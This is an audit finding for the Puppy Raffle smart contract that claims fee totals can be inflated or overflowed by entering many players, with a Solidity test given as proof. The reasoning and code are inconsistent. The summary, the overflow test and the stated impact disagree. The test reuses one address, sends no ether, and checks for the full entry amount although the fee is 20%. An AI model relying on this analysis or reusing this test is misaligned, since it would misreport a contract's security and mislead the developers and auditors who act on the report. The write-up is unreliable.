First Flight #2: Puppy Raffle

Summary

By entering large number of players fee can be set high and hence increasing the total fee.

Vulnerability Details

Fee is calculated on the basis of
uint256 totalAmountCollected = players.length * entranceFee;
uint256 fee = (totalAmountCollected * 20) / 100;
fee can be manipulated with the number of players,
POC
''' function testTotalFeesOverflow() public {
// Define a large entrance fee and the number of players to trigger the overflow
uint256 entranceFees = 1 ether; // Set your desired entrance fee
uint256 numPlayers = type(uint64).max / entranceFees + 1;

    // Prepare an array of addresses for entering the raffle
    address[] memory newPlayers = new address[](numPlayers);
    for (uint256 i = 0; i < numPlayers; i++) {
        newPlayers[i] = address(this); // Using the test contract's address
    }

    // Attempt to enter the raffle with a large number of players
    puppyRaffle.enterRaffle(newPlayers);

    // Calculate the expected total fees (without overflow)
    uint64 expectedTotalFees = uint64(entranceFees) * uint64(numPlayers);

    // Get the actual total fees from the contract
    uint64 actualTotalFees = puppyRaffle.totalFees();

    // Assert that the actual total fees match the expected value
    assertEq(uint256(actualTotalFees), uint256(expectedTotalFees), "Total fees should match expected value");
}

'''

Impact

Impossible to enter raffle for players.

Tools Used

Manual Review

Recommendations

Use Safe math library.